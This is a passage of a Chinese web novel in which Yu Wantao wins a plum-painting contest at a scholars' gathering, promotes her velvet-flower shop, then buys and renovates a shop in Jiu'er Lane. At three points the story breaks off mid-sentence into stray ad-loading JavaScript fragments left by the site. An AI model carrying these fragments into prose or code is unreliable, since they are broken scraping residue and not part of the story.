余晚桃看了下院里的布置，见院墙边还开着一扇木门，她走过去推开，外面正对着条深巷，并排过去住着几户人家。 “不知这间铺子作价几何？” 牙子咧嘴一笑:“一百二十五两，你若诚心要，我去说，大概能压个十两左右。” 余晚桃点点头，并未立刻表态，而是道:“我多看几间作个对比再行决定吧。” 牙人表示理解，高兴地带着两人继续看铺子。 余下的看了几间，倒有些合适的。 第二间位于酒儿巷街尾，铺面大院子也宽阔，但地段稍差，且是个空铺子，一应设施装饰都没有，作价一百一十五两，在考虑范围内。 第三间是个两层的铺面，院子太小且要价高，暂不考虑。 最后一间逛的是正正好的铺子面积，大小合适，价格也公道，关键是院子宽，从后院出去便是最热闹的早食街。 可惜去晚了些，她们到的时候，已经有其他牙人带着客过来瞧了，许是见还有人在看这间铺子，那人当场就交了定金，把铺子定了下来。 牙人领着她们出来，殷勤道:“好铺子还多得很，二位娘子莫要气馁，我带你们一一去看，总有合适的。” “街尾那间铺面，牙哥儿若能帮忙把价压到百两，我便定下了。”，余晚桃忽然道。 牙人微微睁大眼，满脸为难:“那间啊……怕是不好压价，那铺面的老板可不是个素的，难缠着。” 余晚桃笑说:“先试着去谈一下，可不可再说，也并非是一句话定死了这个价，对吧？” “那成吧，我且先去谈谈。” “若有消息，你便来慈济堂寻我，我叫窈儿，一找便知。”，同牙哥儿告了辞，窈儿攀着余晚桃的胳膊，走在街上:“你在村里住着，来往都不方便，若牙哥儿这边有了回复，我就先与他周旋着，待有了消息再知会你？” 如此自然是好，也省了她来回跑的功夫。 余晚桃欣然点头，寻了间附近的食肆，准备吃了午饭再回去。 食肆隔壁是私人置的大院子，里头种了许多梅花，腊月里正是开花的时节，白梅傲寒，红梅娇艳，从食肆靠窗的二楼望去，当真是一副顶雅致的景色。 小二过来上茶时，还煞有其事地与她们说:“二位姑娘可有眼福了，那梅花园里花开得正好，今儿还有一群青山书院的学子们在底下举办文谈盛会呢，可热闹着，不少姑娘都去凑热闹了。” 余晚桃闻言，挑了挑眉，往梅花园里看去，竟真是见有零零散散的书生在走动着，还有一个是熟面，她眸色一亮:“窈儿，你看那是不是游公子？” 窈儿扬起下巴，把半个身子探出窗外瞧去，蓦地掩嘴笑了起来:“是他，估计在那逗姑娘脸红呢。” “你不是与他处着关系吗？”，余晚桃惊奇地睁圆眼睛。 窈儿抿嘴，觑了她一眼:“我何时与他处着了？” “那你上次说……”，余晚桃欲言又止。 “只是备选，不算处着。” 窈儿收回视线，并不醋着底下那郎情妾意的一幕，反而觉得有趣，心里起了些捉弄的心思来，她从桌上拾了一颗滚圆的腌渍梅子，往那处扔过去。 待底下两人往食肆二楼看过来时，她倚靠在窗边，拿帕子按着眼角，肩膀抖动，作出一副逮到负心汉勾搭外面小娘子时伤心欲绝，独自垂泪的模样。 负心汉游子涧脸黑了一黑。 窈儿瞪着他，往梅花园门口指。 余晚桃一手挡着脸，有点想笑但不敢笑出声。 幸而小二上菜了，她给自己打了一碗饭，一边吃着，一边偷偷看窈儿和游子涧隔空眉目传……情？ “快吃，吃完了咱也去梅花园里赏赏花。” 窈儿抬手便将窗关上了，拒绝再与底下的人沟通，她眉眼娇俏，嘚瑟道:“等会看我怎么拿捏他的。” 八卦之心熊熊燃烧，余晚桃加快速度吃了饭，与窈儿出了食肆，往梅花园门口那边去，她有意落后了些，到了梅花园弧形的拱门处，就见游子涧在那等得不耐烦的样子。 只是瞧见窈儿一来，就换上张潇洒的笑脸来:“窈儿，几日不见，我观园中千千万盛开的梅花，都比不得你娇艳出尘。” 窈儿幽怨地垂泪低语:“前脚与她人梅树下袅袅相依，后脚就在这与我情话绵绵，你这样真叫人不敢再相信了。” 游子涧严肃地解释:“窈儿定是看错了，我是在为那位小姐答疑解惑呢，今儿文谈盛会，只论诗不谈情的。” 窈儿淡淡哦了一声，将帕子甩到他脸上，冷哼道:“今儿不谈情，那你站这解释甚么？莫不是也想与我论两句诗？可惜了我并非书香门第的小姐，文采浅薄，与你论不来诗呢。” “窈儿自是不同的，我与你，只谈情，不论诗。”，游子涧一句话说得语调轻佻，人也松松散散地站着，拿折扇去抬起窈儿的下巴。 窈儿在心里呸他，面上委屈得紧，抬手便将他折扇打开，红着眼尾怒道:“我是甚么低贱的人不成？要被你这般捉弄，以后可莫要来寻我听曲了，我可伺候不起你。” “好窈儿莫气，是在下轻浮了。”，游子涧收了那股浪劲，正正经经给人拱手告歉:“上次你不是想学画梅花嘛，你瞧这园子里今时梅花开得正好，我领你进去看看，再亲自教你丹青之术可好？” “游兄——！”，一书生大大咧咧地过来揽住他肩膀，趣他:“难怪陈教谕找不到你人，原是在这同窈儿姑娘相会！” 游子涧为难地看了窈儿一眼。 窈儿很体谅地说:“你去吧，我想刘公子应该也可以带我去逛逛梅花园的，毕竟刘公子是位很体贴的人呢。” 书生猛拍胸脯:，脸红道“游兄放心，我保证把窈儿姑娘照顾好！” “……” “愣着做甚？还不快去，仔细教谕削你。” 游子涧拉着一张脸走了。 损友一走，刘郯就迫不及待地望着窈儿，无比哀怨地说:“窈儿，你到底甚么时候同游兄摊牌我俩的事？” 偷听的余晚桃:？？？ 你俩的啥事？？？ 由于太震惊，余晚桃一个错脚就踩到了自己的裙摆，险些仰倒出去，得亏攀住了垂下来的柳条，才堪堪稳住身形，不过发出的动静却引来了拱门前两人的注意。 窈儿干脆将余晚桃拉了过去，眼睫轻颤，红着脸与人介绍:“这是我一个姐姐，你叫她余姑娘就行。” “至 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于……我们的事，恐是要再等等，游公子毕竟与你是好友，我不想坏了你们的关系，当那起子红颜祸水，叫人看轻了去。” “你若心里有我，就不该如此逼迫于我。” 这话说得委屈极了，刘郯哪里还舍得逼问，况且还有外人在，他忙心疼道:“窈儿莫伤心，我不说这些就是了，你不是要去逛梅花园嘛，我这就带你去。” “我这位姐姐也想进去，可以吗？” “自然是可以的！” 窈儿转头，俏皮地同余晚桃眨眨眼，像是在求夸奖。 余晚桃:…… 梅花园里很大，里面分许多小园子，眼下正在举办的文谈盛会便是在主园里，赏梅位置最好的露天林下。 风起书卷乱，墨香随花去，论诗之音在林间悠扬而起，或高谈阔论，或蹙眉相争，或煮酒宴友。 文谈盛会许是青山书院的场子，外来赏梅的姑娘们都不敢靠近那处，只三三两两散落站着，在外面静静围观书生们辩词论诗。 那位叫刘郯的书生带着她们逛了一圈，便也赶着回文谈盛会那边去了。 余晚桃见那排排列列的案桌，盘腿坐着诸多意气风发的青衫学子，卷着书，填着词，沉浸其中，好不恣意。 她还瞥见了坐在最前排的崔二郎。 “真不知道这诗有甚好辩的。”，窈儿拧着眉，悄声嘀咕。 余晚桃轻笑:“诗词万千意，一人知一意，谓千人千意，自是有得辩。” 窈儿摇头，哼了一声:“这些书生，没一个好的，面上谦谦君子，却是打心眼里瞧不上女子。” 余晚桃见她心里透亮着，有些不解:“那你同他们不也是处着？” “各取所需嘛。”，窈儿理直气壮:“他们其实也有些用的，我作画之技提升得如此快，便是从他们那学来的，君子六艺，丹青是其一。” 话是真话，理也是这么一个理，余晚桃对此不作评，她寻了一颗开得茂密的白梅，以延伸出去的簇簇白梅枝为例，教窈儿如何去设计好看的簪形。 不知不觉沉浸其中，便过了时辰。 直至她后背被人拍了一下，她才猛然回过头来，竟见是崔玉棠弯着眉眼站在她身后，身姿挺拔，立如松竹，身上有淡淡的墨香传来。 余晚桃头一次有了直观的认知，崔玉棠的脸是真俊俏，身形也颀长，比刚成亲那会高了不少，也渐渐褪去了少年稚气，变得稳重内敛。 “你怎在这？文谈结束了？” 崔玉棠眸色温柔:“我远远见你在这，便过来寻你了，你这是？” “我来看铺子，在附近食肆吃午饭，见这园子里梅花开得好，就与窈儿进来瞧瞧。” “倒是巧，我们书院在这举办文谈盛会呢，要不要带你去看看？”，崔玉棠说话间伸手替她拂去鬓间落下的白梅花瓣，收回手时碰了碰她冰凉的鼻尖。 他俯下身来，压低声音:“有没有擦我给你买的润肤膏？” 余晚桃秀眉微蹙，睨了人一眼:“擦了的。” “走，带你去那边看看。”，崔玉棠牵着她，同窈儿点了点头示意，便带着人去了书生堆里，看他们作梅花画。 崔玉棠让余晚桃坐在自己的位置上，挪了桌沿的点心碟子去:“吃点心。” 余晚桃吃了块点心，见案上画了一半的红梅角亭，她啧了一声:“二郎你丹青实在是拿不出手，只形似而不传神，都学不着我一点。” 崔玉棠笑了笑，刚欲开口，却叫边上一白面书生给打断了话去，“崔兄好风度，文谈盛会是何等地方，竟的将些愚知妇人带来说些大言不惭的话。” “谭兄慎言，文谈盛会以文采会友，并未言明女子不可入内。”，崔玉棠声音骤然冷下。 谭书生挑眉，扬声笑道:“文谈盛会确实是以文采会友，只是不知这位……姑娘？有何文采？今日不妨露上一手，也好叫我等读书人见识一二。” 谭书生故意扬着声说话，引来了旁的书生注意，纷纷朝这处看了过来。 余晚桃拍拍手上的点心碎屑，抬头看着他，淡然一笑:“这位谭公子，听你适才辩驳我的言谈，是觉得我大言不惭，那言外之意便是这幅未完成的红梅角亭图在你眼里是上品了？我倒不知谭公子是何等文采学识，竟替一副随手勾画出来的敷衍之作喊起冤来了。” “哎——”崔玉棠喊停不及，他苦着脸，眼睁睁看着崔夫子走过来，取走了桌案上的那副半成品。 余晚桃这才瞅了一眼他，反应过来自己大概是误伤到这位崔二郎了，她不好意思地咧了咧嘴。 崔玉棠愁眉苦脸。 崔夫子抚着花白的须子，端详片刻后，落下严肃的声音:“文谈论诗你不专心就罢了，竟连课题都不认真完成，你读的甚么书！” 崔玉棠起身，给夫子拱手认错:“学生知错，下次定会认真完成。” “怕是光顾着看家里娘子去了吧。”，人群里不知是哪位嘴欠的书生扬了一句出来，教崔玉棠当场被侃得红了脸，辩不出一句话来。 45. 文谈盛会 下 本就是脸皮子极薄的人，又当着众多同窗的面被调侃，崔玉棠平时在课室里能言善辩的一张嘴紧紧抿着，头顶羞到冒烟。 那书生倒是没冤枉他，他确实是发现了余晚桃也在园子里，一双眼睛随着那道影去，心思被分散了，做课题便敷衍了事。 这一调侃，便引得围观的众多书生哄然大笑，许是没恶意，却叫余晚桃心里不得劲了。 她白了一眼被人侃笑只会脸红的崔二郎，转头笑眯眯地端视着那群书生:“书生这些话可真是连自个都笑上了，只瞧二郎这一幅画作得不认真便是顾着看娘子去了，那你们那些画得比二郎差的，岂不是更好笑。” “你们认认真真作出来的画，却叫个一心二用画出的敷衍之作给比下去了，不觉得羞愧反倒是笑起他人来了，要换了我，我可羞得无颜见人，自个关起来埋头苦练丹青咯。” 余晚桃拿手指了指欲掩面离去的谭姓书生:“瞧，这不就一个现成的。” “你！”谭书生羞愤道:“好一个牙尖嘴利的愚钝妇人，我堂堂一圣贤学子，懒得与你计较。” “多读些书，便将自己比作圣贤了？”，余晚桃从笔架上取了一支细毫下来，“你既口口声声瞧不上女子，又暗讽我不懂丹青，那便与我来比比，让我瞧瞧你这圣贤学子，有多厉害。” “这是要比画？” “哪家的姑娘，这般嚣张？” “多稀罕，那谭公子不会真叫一个姑娘家给比下去了吧。” “今儿文谈盛会倒有意思。” 细细的议论声在人群中响起。 谭书生被架在火口上，左右不是，他看着朝自己发起比画战帖的女子，心里愈发镇定，这是个乡下妇人，粗鄙愚钝，自己苦习多年丹青，如何会被比下去！ 他梗起脖子:“比便比！” “光是比画有些单调了，不若老夫再添个彩头，改一改规则？” 崔夫子一把年纪，看热闹也不嫌事大，背着手绕走两圈，回来时举着一本经帖，与二人道:“这是当朝殿阁大学士梅老生前亲自批注的经帖孤本，便以此为彩头，可好？” “梅老的经帖孤本？！” “夫子，我也想参加比试！”有书生按耐不住，连连举手自荐，眼睛紧紧黏在那本经帖上，火热得厉害。 梅老乃大魏第一文臣，他的遗墨可谓是一字难求，今儿崔夫子却如此大方，竟舍得将其拿出来作为彩头，如何不叫学子们为之疯狂。 崔夫子高举经帖，他信步往前，高声道:“青山书院崔成道今在此，以‘孤梅’为题，邀诸位一比丹青，不论男女，皆可参加！” 此音一落，满园哗然。 一场文谈盛会，被推至高/潮。 就在众人议论纷纷，情绪被点燃时，崔玉棠拽了拽余晚桃的手，俯身过去挨着她，悄声说:“那经帖是崔夫子年少时进京赶考，得梅老所赠的，平日宝贝得紧，根本不给我们看。” 余晚桃眸子发亮:“能卖不少钱吧？” “……那是前殿阁大学士的孤本，岂能以金钱论价。”，崔玉棠见她眼珠子睁得溜圆，便知她心里打的甚么注意，只能委婉提醒:“书院里擅丹青者众多。” 余晚桃摩拳擦掌:“那又如何？” 她觑着人蛮横道:“不蒸馒头争口气，你也得参加比试，要是赢了，就算这是孤本卖不得，那回头表个明瓦框起来，往铺子里一放，可不就是一块金字招牌嘛。” “……”，崔玉棠哦了一声。 ‘孤梅’一题甚是广泛，只有大立意，具体如何落笔才教不离题，端看各人理解。 崔成道起了始，便拂衣退去，自有人来立序，组织比试，他悠然落座于红梅树底的棋盘边，温炉煮酒，颇有意趣地捻着白子把玩。 “你这老匹夫，倒是会给我找事做，自己在这躲清闲了。”，陈攸林来寻他，没好气地哼了一道，在对面坐下，肘部撑在棋盘上，眉头紧锁着。 这处斜坡，景儿正好，能看到底下拥拥洋洋的学子和姑娘们，瞧这热闹架势，报名比试的人是真不少。 崔成道往炉里加了几个炭，铺上铁网盘，将几颗黄橙橙的金桔夹到铁网盘上，慢慢炙烤着，顺道给自己倒了一杯温得正好的李子酒。 “朝中女官制自先皇女摄政时期起便提出来了，至今五十多年，才得以践行，只是仍旧不能如科举制度一般完整施行，选人多倾向于京都高官女子，其中条条道道也不少。” 崔成道吁叹一声:“我观本县女子，多有胆识与学识过人之处，如此闹一闹互相辩辩也好，总不能似其他州府那般对立着来，与朝廷大势背道而驰。” 朝廷近几年，确有扶持女官的律令颁布出来，女子多居于朝堂，而话语权的提升，意味着她们将不再是男子后宅的附庸，逐渐走出后宅，活跃在各行业中。 陈攸林一语戳穿他:“我看你是瞧着自己学生的娘子有趣，想逗一逗罢。” “这话若教旁人听了去你是要毁我半辈子清誉，你这老东西。”，崔成道下颚须子抖动，佯装怒喝他。 陈攸林懒得看他，只道:“那小娘子是个能言善辩的，嘴皮子厉害得紧，而二郎这性子又太过于内敛，倒是互补了。” “你说这次比试，谁能夺得彩头？”，崔成道笑得老奸巨猾。 陈攸林掀眉扫他一眼，兀自端盏吃酒，下边比试者众多，谁能夺魁倒真是一时难猜。 这边说着话，那处比试的名单核下，宽阔的园子里蓦地安静下来，错落的桌案有纸张簌簌之声，也有低语研墨之音，主场以男子居多，但也有许多姑娘家，不甘于落后，认真研起题来。 而侧余晚桃和崔玉棠，两人并排坐着，各执一细毫，拧着眉头认真思考。 崔玉棠研好墨，往余晚桃那处递过去，却叫余晚桃心生警惕，猛一下把落了笔的地方盖住，这原是本能产生的动作，却教崔玉棠伤了心。 他抿着唇，眉眼耷拉着:“如何这般防备着，我又不会抄你的，只是给你研好墨了而已。” “……” 余晚桃心虚不已，作为优等生，考试时旁边坐着人，她这也是本能驱使的反射性动作。 “二郎有心了，我是看边上有旁些不识趣的书生瞧过来才盖上的。”，她拍了拍对方的手背，哄他:“我们是甚么关系，哪里还需要防备着，二郎可莫要乱想。” 崔玉棠勉强信了，重新扬起笑:“那是要警惕着旁些不识趣的书生，你若想好了就落笔吧，我替你看着，决计不教旁人偷看了去。” “嗯嗯，二郎真好，你再给我讲讲那位梅老的生平吧。” 某位姓谭的，旁些不识趣的书生静静听了那夫妻两人的对话，心里怄得险些一口血吐出来，这夫妻俩当真是不要脸皮子的！ 随着日晷的铜针一点点往前推，伏案之人渐少，直至最后一钟鼓敲下，时辰截止，园里书童们一一过来收画作，收完了，此处参加比试的人还不能动。 画作被挂至另一园子，由未参加比试的人选出最好的十幅画，余下便得经青山书院几位夫子掌眼，选出经议一致的头名。 第一轮初选止，参加比试的人可以前去观画，一帮子人哄然赶去，将那园里挤得满满当当，颇有一种科考出榜时的紧张氛围。 入选第二轮的画作已被高高悬挂在园内，致使在后方挤不进来的人，也能清晰地看到投选结果。 “我落选了，这些天杀的丹青圣手！” “梅老经帖注定与我无缘啊。” “唉……观这几幅孤梅画，着实传神，在下输得心服口服矣。” “到底是哪几位入选了啊！何不站出来让诸位一观？” 人群哗然，有几位书生挤到前面去，面露惊喜，大呼着入选了，结果被一帮子人围起来，群起而攻之，好一通泄愤。 园里吵吵嚷嚷的，人群外的余晚桃抱臂倚靠在梅树下，侧头笑着问窈儿:“你可有投喜欢的画作？” 窈儿仰着颈去瞧那处，“我不大会赏画，只第一眼瞧着喜欢便投了，晚桃姐姐，你的画作一定在那十幅之内吧。” 她笃定说:“平时你画与我练习的那些各种簪花图，有一种说不出的感觉，就像从树上拓下来的一般，传神精妙。” “我的画 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自是在上头的，我趁着这个难得的机会，还给自个打了个广告呢。”，余晚桃掩着嘴笑得很是狡黠。 “甚么是广告？” “就是将一个事物，广而告之，增加知名度。” 二人闲聊着，那头几位夫子抚须背手，悠悠地走了过来。 不过一二刻，便扬开了四五幅画，最后挑挑拣拣，上头只剩三幅。 崔夫子两指一并，点着其中一幅道:“此画以意喻题，茫茫大雪中只余这一株梅花独开，雪地里一串孤独的脚印向远处去，算点了题，然……缺些灵气。” ‘孤梅’为题，不单单是只画梅，真正懂题的人，已然能透过梅之表面，去明悟‘孤’、‘梅’，背后所蕴含的深意。 崔玉棠自上前去将画认领，对崔夫子以及围观的同窗们拱拱手，坦然道:“是在下画技不精，献丑了。” 如此一来，便剩下两幅，而在园内稍有懂画者，心中都已有了数，只因所有夫子与陈教谕，都同时看向了其中一幅画。 “此画，当是头名，寓意之深令人佩服。” 陈攸林悠扬有力的声音响起，大为一赞，且面向诸位学子:“这是谁的画作，可否出来一解？” “陈教谕，那是我画的。”，余晚桃欣然举手，站到崔玉棠身边去，扬着嘴角露出笑容，一双眸子明亮璀璨，活力满满。 她笑着说:“崔夫子以‘孤梅’为题，又拿了前殿阁大学士梅老的孤本经帖为彩头，我想这二者之间定是有关系的，于是便问了梅老的生平，画的立意就是由此而出。” “梅老一生，至高至傲至孤雅，数载官途在其位谋其政，呕心沥血为民请命，丁忧后孤身一人游历山河，他一生无妻无子，独行于天地间，何不谓是一‘孤梅’也。” 余晚桃咳了咳，叉着腰，说到重点来口若悬河不为过，“画上青衫布衣，一人独行者便是梅老，他是这画里的‘孤梅’，诸位再看梅老鬓发间那支梅花簪，就是这整幅画的精髓所在了。” “我朝尚风流，京城的文人雅士尤爱簪花，以示高洁，这梅花簪更是风靡京城，可惜了江南府地偏远，昔日无人有那等子手艺，但是明年春，我将在酒儿巷开一间绒花铺子，诸位若也想拥有梅老的风姿，届时定要去看看。” “咳咳——”，崔成道冷着脸打断了这小娘子的长篇大论，他眉毛一压，道:“只让你解画，没让你上这来说书。” 余晚桃嘴角一抿:“那也是诸位学子、姑娘们爱听，我才讲的。” “是啊，再多讲讲也行！”，刘郯亮着眼睛，俨然听得十分入神。 “这比夫子讲课有趣多了，话说真有梅老鬓发间相似的梅花簪卖吗？” 余晚桃用力点头:“自然是有的！” 于是这文谈盛会开到最后，成了余晚桃宣传自家铺子绒花品的场子，姑娘，书生们都爱过来问，嬉嬉笑笑的，热闹得紧。 余晚桃都脱不开身，头名的彩头都还是崔玉棠去领的。 崔成道恨铁不成钢，瞪着他:“连你媳妇都比不过，回去把圣谕广训抄十遍！” “是。”，崔玉棠默默领了罚，小心翼翼地把那本经帖收起来。 经此，余小娘子实打实在县里扬了一阵名，不少人都慕名去酒儿巷找画上的梅花簪，可惜首饰铺子虽多，却没寻到一样的，这更教众人心里痒痒。 而另一头的事主儿，吊了根胡萝卜在前头，自己悠悠然回村里猫冬去了。 赢来的经帖被她打了块明瓦框起来，摆在屋里，至于那幅画，则叫陈教谕留了下来，挂在梅花园里，供人拜赏。 闲散着又过了两日，窈儿来话，说是那牙哥儿同老板谈成了，一百两银子，可将铺子转手，但须得一次性给齐。 余晚桃数了银子出来，在牙哥儿的牵头下去与铺子老板作交易。 待见了人，却叫她认了出来，面前这红唇明艳的妇人，可不就是红娘胭脂铺的东家嘛。 正经人家的女子们都讲究含蓄，唇脂不会用这般艳红的，显得轻浮，会被人传谣是勾栏里的做派，可这位佟东家却我行我素着，偏爱明艳的色，张扬得很。 46. 买铺子 佟红围着一圈细软的狐狸毛脖，像是早就知晓了买主是谁，扬着笑说道:“余小娘子前几日在梅花园里出了好大一风头，可真真教人羡慕，我从牙哥儿那得知是你要买铺子，都懒得再计较那几两银子了，重要的是啊想交余小娘子这个朋友。” “佟姐姐可莫要打趣我。”，余晚桃跟着笑了笑，说:“不过倒是真多谢佟姐姐让与我几分利，待往后铺子里安定了，姐姐若得闲尽管来找我吃茶，我定会好生款待。” “我都甚么年纪了还得你一声姐姐，听得这心里呀真舒畅。” 佟红眉眼飞扬，笑得十分畅快。 她单手捏着帕子在铺子里转了一圈，空落落的铺面回荡着她轻杳杳的脚步声，“我这铺子因着在街尾，地段差了些，否则也不教这般贱卖出去。倒是余小娘子似还看了其他的铺面，最后怎么决定买这一间的？” 余晚桃随着她步子走进去，温声道:“实在是囊中羞涩，太贵的铺子一时还买不起，况且我觉得这铺面极好，一来此处远离热闹的街区，适合家里书生潜心读书，二来酒香不怕巷子深，我做的买卖足够好，自会有客主动寻上门来。” “那倒是，如今县里的书生小姐们可惦记着你画上的那支梅花簪呢，你这一手呀，我可佩服得紧，铺子还没开，名声就直接打出去了。” 佟红是真心佩服这小娘子的经商手段，幸而她卖的是胭脂香料，否则可有得嫉妒去。 她拿了此处的地契出来，“小娘子若是确定没问题，咱就去县衙里把铺面过户一下？” 余晚桃接过地契，仔细核对上面的契条，确认没有其他问题后，将银子交付，随着人去县衙过了户。 过了户，余晚桃收好新更换的地契，缓缓露出一抹如释重负的笑容，铺子落定，可算是解决了今年顶重要的一件事，走路时连步子都松快了许多。 一道回酒儿巷时，她与佟红寒暄片刻，多问了一些关于铺子装修的问题，回去后把铺子的平面图画出来，设计出几个区域，和需要改动的地方。 铺面够大，可以划分出首饰区和工艺摆件区两个大区域，入门处加两道珠帘，左边角落里的承重梁空出一角位置，可以设计成收银柜，后面再钉一排贴墙的展示架，上面放些样品，下面堆杂物。 还要再用屏风隔出一些小雅间，让贵妇人们可以坐着歇脚，试戴，自赏，在服务上要尽可能地周到，茶水点心这些须得常备，还要请几个嘴甜会哄人的小姑娘做小工，在铺子里引导客人消费。 铺面的大致布局定下来后，余晚桃托牙人打听了个靠谱的装修队，次日就开始修缮装整铺面。 为了方便监工，她把铺子后院打扫了一遍，简单收拾一下买了新被褥和生活品，当天便住在了铺子里。 一连几日都在县里盯着铺子装修的事，余晚桃忙得脱不开身，新展示架和柜台到了之后，新铺面基本落成。 其余的一些装饰品、屏风、桌椅灯笼等零碎的物甚也陆陆续续齐全了，将所有的账款结清，她身上也就只剩二十多两银子了。 只是眼下前头铺面装修好了，后院屋子却还没修缮，余晚桃住的屋子里都只有一张木床和四方桌，其他地方空荡荡的，甚么都没补齐。 翌日窈儿得了空过来，余晚桃可算抓着一个壮丁，让人帮着自己把院子里的杂草清理干净，墙面冲刷去霉斑，井边糊了一层泥搭着石头巩固摇杆。 这院子堂屋里两个房间相对着，偏屋是左边茅厕，右边灶房连着一个后门，通出去是一条静幽幽的宽阔大道，街道那头是县里几个富户的大宅院后门，平日里除了那些下人们，基本不会有人走动。 窈儿帮着把脏水提出去倒，仰头微喘着气说:“这院子挺大的，到时候挖两行菜地，可以在里头种些菜，这样就不用样样都拿铜板子买了，能省好些钱。” “不弄菜地。”，余晚桃摇着杆把井水吊上来，同她说:“我打算招几个伶俐的小工，到时候再开个绒花班子，就在这院里教学，学出来了就像你这般，在铺子里挂名当个绒花娘子。” 窈儿抿嘴:“我都还没学成呢，哪里就敢在铺子里挂名了，要做得不好岂不是惹了客人恼，影响铺子名声。” “怕甚，万事都有第一步。”，余晚桃提着水桶进屋去擦洗。 窈儿拿脏巾子跟上去。 余晚桃问她:“我前头布置的作业可做好了？” “早就做好了，我看你这几日忙得歇不住脚，便没拿来给你。” “你直接拿去卖。”，余晚桃笑道:“等你真正的能把一支簪子卖出去了，便算是出师了。” 窈儿对自己的手艺不自信，她蹙着眉，心里忐忑:“我做得不好，真有人会买吗？” “试试便知，自己多想无用。”，余晚桃一边忙着手上的活，一边安慰她。 窈儿稍稍安下心，在心里给自己鼓励，脸上多了些笑意。 县里的住处打扫出来了，余晚桃便想着把家里库存的蚕茧拿到这儿来缫丝，还有之前晒的那批蚌壳，正好可以趁着功夫一起磨出来。 安置好铺子里的事，余晚桃落了锁，赶回村里。 她这几日都没回村，小细柳在家里也没闲着，自己又跑竹林里挖了几筐冬笋回来，一半晒干，一半淘洗切了腌酸笋，院角那积了好几个大的瓦缸，里头腌的全是酸笋。 知道她爱吃冬笋，当天晚上就切了晒得半干的笋条下锅炒腊肉，做了满满一海碗出来。 “明天还得去铺子里，我打算把存下来的那批蚕茧拿去铺子里缫出来，然后开始备货，细柳姐与我一道去吧，去住几天，认认铺子。” “我也去？”小细柳吃着饭，犹豫道:“我去了那家里怎么办，桑园里的鸡还得每日喂呢。” 余晚桃笑了下说:“托丁婶帮忙喂一下就行，以后我肯定是会常在县里忙活铺子的事，村里边得劳你照看着，只是如今还没开始给铺子里招工，所以得我们自己先把货备好。” “等铺子里安稳下来了，你照旧住家里就是。” “那好吧，我晚些收拾一下衣服。” 相较于县里，小细柳还是更喜欢村里平静忙碌的生活，喂鸡、种菜、养蚕，得了空就去山里寻摸些野菜，野山货，这样的日子，比在县里快活多了。 吃过晚饭，余晚桃拎了条腊鱼去村长家，找他们借用明日的牛车，得了应承又同林小秋说了会贴己话才回家去，洗漱后带着满身的疲惫睡下。 翌日醒来又是忙碌的一天。 新铺面已然布置得像模像样，定制的牌匾也在晌午时送了过来，长长方方的一块檀木料子做的匾，上头提着金钩银画般潇洒大气的几个字——华纱绒花铺。 忙活完手头的事，小细柳同窈儿都凑过来，无比稀罕地瞧着上头的字，她们慈济堂里的姑娘都粗略识些字，不过上头华纱二字却不知是何意。 小细柳拿了帕子去擦上面的灰尘，好奇问道:“华纱二字有何解？我还以为会起个余氏绒花铺甚的。” “那多老土呀。”，窈儿撇嘴:“晚桃姐姐文采好，取字定有其用意，这华纱……华美的轻纱？纱绒？纱应该指的是蚕丝吧。” “差不多就是这个意思了。”，余晚桃总不能跟她们说，因为绒花技术是来自遥远的华夏，才取了同音之名，不过得窈儿这一解释，倒真说得通了。 她把小细柳拉开，取红布来把牌匾盖住，笑道:“现下不用擦，还得放许久呢，等开业前再擦不迟，我们去吃午饭吧，下午可还有得忙。” “哎！” 又忙了一下午，将全部的蚕丝缫出来，三人累得浑身酸疼，直接去街上吃了碗羊肉面，就返回铺子去烧水洗漱了。 泡在浴桶里被热气蒸腾着，几乎要睡过去的余晚桃，总觉得自己似乎忘记了甚么事，这个念头一直伴着她，直到起来穿了衣，坐在铜镜前绞头发，她才忽然想起来。 今儿是崔玉棠旬休的日子啊！ 余晚桃忙套上棉衣，掌着油灯去敲小细柳睡的偏屋，小细柳都钻被窝里暖着了，她知是余晚桃敲门，便扬声道:“只管推门进来就是，没上闩。” 余晚桃稍微用了些力，推门进去坐她床头，举着油灯问:“咱早上出门时，家里院门锁上没？” “锁了呀，特地加的双重锁，院门和正屋侧屋柴房，都锁了。”，小细柳揉着眼睛坐起来，指着床头的小桌说:“瞧，钥匙不在这嘛。” 余晚桃拍了拍自个额头，唉了一声。 “怎么了？” “今儿是二郎旬休的日子啊，咱把家门锁了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，他回到家进不去，又没来得及告诉他铺子的地址，定是找不过来的。” “啊？”，小细柳面色一下凝重了，“那咋办？要不现在回村里一趟吧！这天寒地冻的，可别把人拦家外头给冻出病来了。” “这个点也没有牛车回村了，庆叔知道我们来县里的事，二郎回家进不去，应该会找庆叔问的，且明日再回村里看看吧。” 这个乌龙闹得着实令人有些心虚，那书生回到家进不去院门，也不知是甚么表情，余晚桃这会光是预设那副场景，都有些忍不住想笑。 …… 心里装着事，余晚桃次日早早便醒了。 去街上买了两碗肉片面汤回来当早食，便想着去坐牛车回村，结果刚打开铺子门，就瞧见不远处余天庆和崔玉棠，深一脚浅一脚地顶着晨雾朝铺子过来了。 她楞了半响，忙上前去:“庆叔，二郎，你们怎么过来了？” 余晚桃将他们带进铺子里，关上门挡住外边的寒意，见两人冻得鼻尖红红的，就去现煮了两碗红糖姜汤出来，让他们暖暖身子。 余天庆坐着打量宽阔漂亮的铺面，与她瞪眼道:“还不是你俩做的好事，家里院门，正屋门都锁得严严紧紧的，二郎回来进不去，自己悄不出声地站着等了半时辰，直到你婶子出去串门子，才发现了他，将人领家里来。” 余晚桃心虚不已:“着实是这几天太忙，一时忘了二郎旬休的日子。” 她摸摸崔玉棠被冻得通红的双手，这天儿冷得紧，又坐了趟牛车一路吹着寒风，可别是把这书生冻傻回去了，一声不吭的。 “这天太冷了，到堂屋里去吧，我点个火盆烤烤火，等日头出来叔再回去。” “成。”，余天庆站起来，在装修好的铺面里转了一圈:“桃子，你们这铺子都布置好了？” “嗯，都布置得差不多了。” “挺好的，有了铺子就是有了营生，往后日子差不到哪去。” 余天庆瞅着有道小门，知道那是通去后院的，自己迈着腿就走过去了。 “二郎，快过来，带你去新家看看。”，余晚桃牵着他过院去，让小细柳去灶房里点火盆，自个带着人进了屋，帮他把书箱放下来，立到墙角去。 新屋里现下家具还没备齐全，只能以后再慢慢添置了。 “生气了？” 